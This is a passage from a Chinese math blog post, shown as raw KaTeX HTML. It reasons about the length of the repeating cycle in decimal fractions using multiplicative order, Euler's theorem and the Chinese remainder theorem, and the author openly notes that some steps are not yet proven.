class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span>的乘法群阶为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>的乘法群阶为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>。根据欧拉定理，我们知道<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">p</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>，因此<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>且<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span>。</p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>的乘法群阶，设为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，是最小的正整数<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，使得<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>。由于<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">pq</span></span></span></span>，根据中国剩余定理，如果我们可以同时满足<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>，那么<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>也成立。</p><p>为了找到<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，我们需要找到最小的<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，使得<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span>且<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>。这意味着<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>必须同时是<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>的倍数。因此，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord text"><span class="mord">lcm</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><p>那就到了另外一个问题了，如何快速求得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> 的阶？我们只知道阶一定是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 的因子。</p><h3 id="分母和-10-不互质的时候">分母和 10 不互质的时候</h3><p>当 10 和 n 不互质的时候，n 的因数包含 2 或者 5，设 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，m 与 10 互质，a,b 是自然数且不全为 0。此时</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>当 k 足够大时，必然为 0。我们只需要证明，<strong>有限小数乘以无限循环小数，不会改变循环节长度</strong>。这个需要证明，但是我不会。</p><p>也就是不必管 2 或者 5 作为因子的情况，提取出与 10 互质的因子即可。（证明我还不会）。</p><h3 id="算法">算法</h3><p>首先除净 2 和 5，值一定是<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span>这样结构组合（部分指数可以为 0），此时<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 小于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span>，那么计算最小公倍数，肯定小于<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。也就是说，对于质数 p，它的阶必然大于任何比他小的数的阶。所以只要找到 1000 以内最大的质数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，并且和直到 1000，除净之后且比<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>大的数比较即可。</p><p>这又涉及到问题**相邻两个质数 p, q 之间的数，除以 2 之后，可能比 p 大吗？**这实际上等价于是否存在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" 